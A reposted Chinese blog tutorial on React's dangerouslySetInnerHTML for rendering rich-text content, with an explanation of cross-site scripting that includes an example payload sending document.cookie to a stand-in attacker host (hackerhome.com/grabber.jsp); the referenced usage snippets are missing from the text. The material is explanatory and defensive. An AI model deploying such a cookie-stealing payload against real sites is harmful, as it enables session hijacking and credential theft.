react中dangerouslySetInnerHTML使用

React XSS漏洞 · 發表 2019-03-05 22:01:05

摘要：在react中，通過富文字編輯器進行操作後的內容，會保留原有的標籤樣式，並不能正確展示。在顯示時，將內容寫入__html物件中即可。具體如下： <div dangerouslySetInnerHTML = {{ __html: checkMessages.details }} ...

在react中，通過富文字編輯器進行操作後的內容，會保留原有的標籤樣式，並不能正確展示。

在顯示時，將內容寫入__html物件中即可。具體如下：

如果是直接呼叫介面中的值，則是以上的寫法，如果是單純的顯示固定的內容，用如下的寫法：

原理：

1.dangerouslySetInnerHTMl 是React標籤的一個屬性，類似於angular的ng-bind；

2.有2個{{}}，第一{}代表jsx語法開始，第二個是代表dangerouslySetInnerHTML接收的是一個物件鍵值對;

3.既可以插入DOM，又可以插入字串；

4.不合時宜的使用 innerHTML 可能會導致 cross-site scripting (XSS) 攻擊。淨化使用者的輸入來顯示的時候，經常會出現錯誤，不合適的淨化也是導致網頁攻擊的原因之一。dangerouslySetInnerHTML 這個 prop 的命名是故意這麼設計的，以此來警告，它的 prop 值（一個物件而不是字串）應該被用來表明淨化後的資料。

相關資料：

轉載自https://blog.csdn.net/exploringfly/article/details/80582859

什麼是cross-site scripting (XSS)攻擊：

XSS示例

在深入瞭解XSS的各個方面之前，讓我們首先了解XSS攻擊到底是怎樣完成的。

就以一個部落格應用為例。其常常需要允許讀者對博主的文章進行評論。在輸入評論的編輯欄中，我們可以輸入對該文章的評論，也可以輸入以下HTML標記：

1 <Script>alert(“XSS attack available!”);</Script>

在讀者按下提交鍵之後，該標記將被提交到伺服器上，並在其它使用者訪問時作為評論顯示。此時該使用者所看到網頁中包含該標記的部分元素可能為：

1 <div>

2 <Script>alert(“XSS attack available!”);</Script>

3 </div>

而從使用者的角度來看，該網頁中就出現了一個警告：

也就是說，使用者輸入的指令碼語言已經被使用者的瀏覽器成功執行。當然，這可能只是一個對該網站的善意提醒。但是對於一個真正具有惡意的攻擊者，其所插入的指令碼程式碼更可能如下所示：

1 <script>document.write('<img src=http://www.hackerhome.com/grabber.jsp?msg='+document.cookie+'

2 width=16 height=16 border=0 />');</script>

該段指令碼將向當前評論內插入一個圖片，而該圖片所對應的URL則指向了hackerhome中的JSP頁面grabber.jsp。從訪問該評論的使用者這一角度看來，其僅僅是一個不能顯示的圖片。但是對於惡意攻擊者而言，該JSP頁面將自動記錄傳入的msg引數內容，即訪問評論使用者所使用的cookie。該cookie可能包含使用者的敏感資訊，甚至是使用者名稱，密碼等重要資訊。

所以，react的做法是不直接讀取你的html程式碼，以此來避免 cross-site scripting (XSS) 攻擊，讓你的程式碼更加安全

轉載自https://www.cnblogs.com/xianyulaodi/p/5038258.html

react中dangerouslySetInnerHTML使用

您可能也會喜歡…